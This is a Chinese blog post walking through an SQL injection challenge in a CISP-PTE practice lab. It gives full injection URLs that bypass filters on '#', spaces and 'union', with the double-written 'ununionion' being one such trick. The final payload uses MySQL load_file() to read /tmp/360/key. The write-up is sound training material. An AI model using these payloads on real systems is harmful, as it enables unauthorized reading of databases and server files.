CISP-PTE靶场通关思路分享-SQL注入篇(十分友好,无比详细)

pte靶场中包含5道web题,此靶场为模拟靶场

SQL注入

首先打开本地搭建的网址,发现我们需要利用SQL注入对/tmp/360/key文件进行读取,读取该文件需要使用load_file()函数,该函数是MySQL中常见内置函数。

 

 

 

进入答题后,发现由当前执行的SQL语句,按照当前执行的SQL语句对SQL语法进行闭合

 

1 http://192.168.110.100:81/vulnerabilities/fu1.php?id=1%27)#        #闭合,输入#,发现#已被过滤,则用%23进行替换,发现空格也被过滤,空格的替换可以使用%0a或者/**/或者()或者+等进行替换
2 http://192.168.110.100:81/vulnerabilities/fu1.php?id=1%27)%23    #成功闭合SQL语句

我们使用%23替换#;使用/**/替换空格;接下来使用order by语法对行号进行判断,最后在使用union select判断显示位

首先判断行号,使用order by判断后的结果是4

1 http://192.168.110.100:81/vulnerabilities/fu1.php?id=1')/**/order/**/by/**/5%23
2 http://192.168.110.100:81/vulnerabilities/fu1.php?id=1')/**/order/**/by/**/4%23

 进行union联合注入,发现union函数被过滤

1 http://192.168.110.100:81/vulnerabilities/fu1.php?id=-1')/**/union/**/select/**/1,2,3,4%23 发现union被过滤

 

 

 当过滤掉关键函数时,双写关键函数进行绕过是常见的方法之一,我们尝试双写union绕过,发现成功绕过

1 http://192.168.110.100:81/vulnerabilities/fu1.php?id=-1%27)/**/ununionion/**/select/**/1,2,3,4%23

 

 

 接下来需要在可以显示的位置使用load_file()函数将敏感信息显示出来

1 http://192.168.110.100:81/vulnerabilities/fu1.php?id=-1%27)/**/ununionion/**/select/**/1,2,3,load_file("/tmp/360/key")%23

显示成功:


 

总结:本题主要思路:本题过滤了#、空格、union关键字;若要读取/tmp/360/key中的内容可以使用load_file()函数

 

posted @ 2023-03-31 18:18  信安小萌新  阅读(1326)  评论(0编辑  收藏  举报